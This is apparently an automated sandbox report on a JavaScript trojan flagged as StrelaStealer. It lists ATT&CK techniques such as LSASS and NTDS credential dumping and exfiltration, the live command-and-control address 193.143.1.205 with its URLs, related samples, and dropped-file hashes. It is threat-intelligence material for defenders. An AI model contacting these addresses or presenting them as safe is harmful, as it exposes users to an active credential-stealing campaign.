Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
129415641190368510.js	3%	Virustotal		Browse
129415641190368510.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/2	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/er	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2176470492.000001EF2C000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3412060181.000001EF268C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/er	net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/2	net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/sm	net.exe, 00000007.00000002.2176054263.00000205E7498000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588338
Start date and time:	2025-01-11 00:09:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	129415641190368510.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 2.23.242.162, 23.209.209.135, 217.20.57.20, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.246.45, 172.202.163.200, 173.222.162.64, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:10:08	API Interceptor	25x Sleep call for process: powershell.exe modified
18:10:12	API Interceptor	1x Sleep call for process: net.exe modified
18:10:12	API Interceptor	2x Sleep call for process: svchost.exe modified
18:10:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263263555209538
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0s:9JZj5MiKNnNhoxuR
MD5:	A0F14067D7251A21AFB1301930600CC6
SHA1:	5E80FD96086B70511221C5EEB7621B45DBDC2FB0
SHA-256:	CA7DAFDA1E411B9BA832188486A2F0DDF46205E0D50A0CFF264197C896ED8370
SHA-512:	AC0EDDCEC6F51FE5C02C40CCA9874FD2B50732D6C222F140122AA0007C6403B8D8F257568007143BA92338F879DB1FB623353CE2158156D779AB05E89DBB30EA
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x30603b64, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555727769039697
Encrypted:	false
SSDEEP:	1536:lSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:lazaSvGJzYj2UlmOlOL
MD5:	CA61F7A71A69327077AC771D6D822F8E
SHA1:	4F58ED28069BA0D19DF3C7A6B370AD18CE4E870C
SHA-256:	CD8D2279BBF5B0624E2B6F032D3B8927A47D11A11749874CE943A73FDAC7B9DC
SHA-512:	09D40507AFE893C77DC0C8DF7CB4049785F4DDEF25A0EAF9F6AAFE2AAD7B40CC5BBFFCA932770F1F0851EA26D5080FB89A60E7C0813CA2B124B220EAD6015B67
Malicious:	false
Preview:	0`;d... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{................................../.?8.....}...........................}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.079411716692046
Encrypted:	false
SSDEEP:	3:6/llEYef6i0c3NaAPaU1lZQ//AlluxmO+l/SNxOf:6tyzfv0ENDPaUBQXAgmOH
MD5:	7B9D9F797866DE3C536479F06CBAB685
SHA1:	6035644E3353C8250A086B7ACE6E60305DFC3F2E
SHA-256:	082E49967D61EEBC8C7FAE860F3CD8879D0A7E36BE09CBF69F8C107D0250BDEC
SHA-512:	5B3E5722A30F42EE60E4FD8D9492664AF727E8ED79F1950E5241055A1F835A434A905B57F2C3A118872DC2948E1AB48B0DBABF6E0986B58DD73FBDFAF551E550
Malicious:	false
Preview:	j........................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?..........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.164880131533013
Encrypted:	false
SSDEEP:	6:iO47RWIdFN+q2PN72nKuAl9OmbnIFUtS7RWWZmws7RWSVkwON72nKuAl9OmbjLJ:7UwIovVaHAahFUtmwW/4wq5OaHAaSJ
MD5:	37ECFD00EB46BB0ABA288E2A86AC9058
SHA1:	E75FA9C65139D3E5C6BE46010DCE67F196F027F9
SHA-256:	CF384D52FF439165EDD02B149A9B342C9015273160942B06001AA52D12F90208
SHA-512:	BC26D52974774045A27B7DD0A4F809456EEC13E29533A1705F01D986C49CA5CE62E695EAA1220BDBC732E03257653C80EF98410F2AEF84B8B6B90019026C6CB9
Malicious:	false
Preview:	2025/01/10-18:10:12.436 a68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:10:12.438 a68 Recovering log #3.2025/01/10-18:10:12.438 a68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.164880131533013
Encrypted:	false
SSDEEP:	6:iO47RWIdFN+q2PN72nKuAl9OmbnIFUtS7RWWZmws7RWSVkwON72nKuAl9OmbjLJ:7UwIovVaHAahFUtmwW/4wq5OaHAaSJ
MD5:	37ECFD00EB46BB0ABA288E2A86AC9058
SHA1:	E75FA9C65139D3E5C6BE46010DCE67F196F027F9
SHA-256:	CF384D52FF439165EDD02B149A9B342C9015273160942B06001AA52D12F90208
SHA-512:	BC26D52974774045A27B7DD0A4F809456EEC13E29533A1705F01D986C49CA5CE62E695EAA1220BDBC732E03257653C80EF98410F2AEF84B8B6B90019026C6CB9
Malicious:	false
Preview:	2025/01/10-18:10:12.436 a68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:10:12.438 a68 Recovering log #3.2025/01/10-18:10:12.438 a68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.11802667344837
Encrypted:	false
SSDEEP:	6:iO47sYq2PN72nKuAl9Ombzo2jMGIFUtS72AXZmws72AFkwON72nKuAl9Ombzo2jz:7UsYvVaHAa8uFUtm2M/42s5OaHAa8RJ
MD5:	03E2FE340ED551E9D05E857612911D09
SHA1:	A394140E0A56734A5CCF16822F7239732FF3D1A5
SHA-256:	A9674B201FE0DD5A08A38C519EADCD132E99A50DE05D236129520C0CCC4E22AE
SHA-512:	1ABD9702FBDCD10BB76D6E444182D2B9EA3942556B42693437D2378CFBE6B7715BE56A4338A6DA88F8728B43E35E7587DBC99451E5CE2815A470888C62FECE13
Malicious:	false
Preview:	2025/01/10-18:10:12.566 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:10:12.567 1b50 Recovering log #3.2025/01/10-18:10:12.567 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.11802667344837
Encrypted:	false
SSDEEP:	6:iO47sYq2PN72nKuAl9Ombzo2jMGIFUtS72AXZmws72AFkwON72nKuAl9Ombzo2jz:7UsYvVaHAa8uFUtm2M/42s5OaHAa8RJ
MD5:	03E2FE340ED551E9D05E857612911D09
SHA1:	A394140E0A56734A5CCF16822F7239732FF3D1A5
SHA-256:	A9674B201FE0DD5A08A38C519EADCD132E99A50DE05D236129520C0CCC4E22AE
SHA-512:	1ABD9702FBDCD10BB76D6E444182D2B9EA3942556B42693437D2378CFBE6B7715BE56A4338A6DA88F8728B43E35E7587DBC99451E5CE2815A470888C62FECE13
Malicious:	false
Preview:	2025/01/10-18:10:12.566 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:10:12.567 1b50 Recovering log #3.2025/01/10-18:10:12.567 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\489aab95-ae92-4629-a43c-f364ffd69cd8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9666364305669495
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7ZwSsBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdsA8dMHl3QYhbA7nby
MD5:	67851897C9106C2366671F9ADFFFBC78
SHA1:	9444C48F05B579DC3762334BE2F7D76E817543D6
SHA-256:	6578D356C36A5B5EFB66E38DE86A91D4E5CEF2D27778D7A6DA66E486AA191C2F
SHA-512:	AEE02526CFAD39E0C18A7383E3D85B982EFAF6FF897E20125998BC6B566F30C4EC93850F2CC79F5F386A3613B02263FCC8420553B733A004722349FED24FDEA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110624421691","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125750},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9666364305669495
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7ZwSsBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdsA8dMHl3QYhbA7nby
MD5:	67851897C9106C2366671F9ADFFFBC78
SHA1:	9444C48F05B579DC3762334BE2F7D76E817543D6
SHA-256:	6578D356C36A5B5EFB66E38DE86A91D4E5CEF2D27778D7A6DA66E486AA191C2F
SHA-512:	AEE02526CFAD39E0C18A7383E3D85B982EFAF6FF897E20125998BC6B566F30C4EC93850F2CC79F5F386A3613B02263FCC8420553B733A004722349FED24FDEA5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110624421691","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125750},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.248993184104946
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7HqIb+:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhG
MD5:	63197B08FA8C5FFECBBF3365029F285D
SHA1:	76C95CF5249B17A5663A89776BAC47BE9D69678C
SHA-256:	62713696F85D3BFF43F63C5ABC34A29809A86DC05BC9053C9B98A7631155FBE2
SHA-512:	1180EFD63CE8B2DCE8DD6C9A1DE392EF4482248ABEA178088FFE68B8AB1150FF288546D7E820E493AD0CEACFCD0FDD4FE2B10490674749564E13FA93316CF596
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.120038070579245
Encrypted:	false
SSDEEP:	6:iO47qOq2PN72nKuAl9OmbzNMxIFUtS75Zmws7TkwON72nKuAl9OmbzNMFLJ:7UVvVaHAa8jFUtm5/4T5OaHAa84J
MD5:	8D306C2942FD0C30EEF101B8C8DFF647
SHA1:	E7848303B8612943CA7BCFA6779B313D23D7E6B9
SHA-256:	5A5F827FB8E107F985AC3673F41F78FE469771FB37FF14FFEFC9CE9F689991E4
SHA-512:	C4EA3F46ACA4050AD1382B46CB8A8596B2808189C95A6699169670EADC093BBF4DAEB88F1D605AD7A998FD4752E982C5C66D1885758A10F58256349A1B218B67
Malicious:	false
Preview:	2025/01/10-18:10:12.753 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:10:12.754 1b50 Recovering log #3.2025/01/10-18:10:12.754 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.120038070579245
Encrypted:	false
SSDEEP:	6:iO47qOq2PN72nKuAl9OmbzNMxIFUtS75Zmws7TkwON72nKuAl9OmbzNMFLJ:7UVvVaHAa8jFUtm5/4T5OaHAa84J
MD5:	8D306C2942FD0C30EEF101B8C8DFF647
SHA1:	E7848303B8612943CA7BCFA6779B313D23D7E6B9
SHA-256:	5A5F827FB8E107F985AC3673F41F78FE469771FB37FF14FFEFC9CE9F689991E4
SHA-512:	C4EA3F46ACA4050AD1382B46CB8A8596B2808189C95A6699169670EADC093BBF4DAEB88F1D605AD7A998FD4752E982C5C66D1885758A10F58256349A1B218B67
Malicious:	false
Preview:	2025/01/10-18:10:12.753 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:10:12.754 1b50 Recovering log #3.2025/01/10-18:10:12.754 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444582736993237
Encrypted:	false
SSDEEP:	384:ye6ci5t5iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mas3OazzU89UTTgUL
MD5:	17D798921FC20024F5D03C9209F77141
SHA1:	34AA3983A0F1D1F4FB9B72870874EA72B231AABF
SHA-256:	A154E02C9FA4ACC1BCC1EB02005147F3CD67D99A1A95E5824DC6D85494019E99
SHA-512:	98CFC612884516498E6105194A77491F60556E4F5B9F53445BB291F0810639E3CA35F40AF05EA9C82540889A7F0FC6E4BE769D57691DD281BFA01116A8459EDC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7667102447663385
Encrypted:	false
SSDEEP:	48:7MlJioyVYioy6oy1C7oy16oy1KKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O2:72JuYu9XjBiib9IVXEBodRBkW
MD5:	B80D244A8BACBDDA96FB6E83E393E6C4
SHA1:	2589C4F977E5AEB1D426D328442691657DE454FC
SHA-256:	9D7C7697B35036F11C5A589F9EA2148CA039DE826BB5E5E65112C19CC0767086
SHA-512:	947FCE6572B69EEF36D3370FEE536AAC523FC7C34D77F61BC84F4D8D60DFAB45945389AE8B6AA2E24A3C398C31074876F773113E154DC7096FA125FC07E498D8
Malicious:	false
Preview:	.... .c......U.l...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
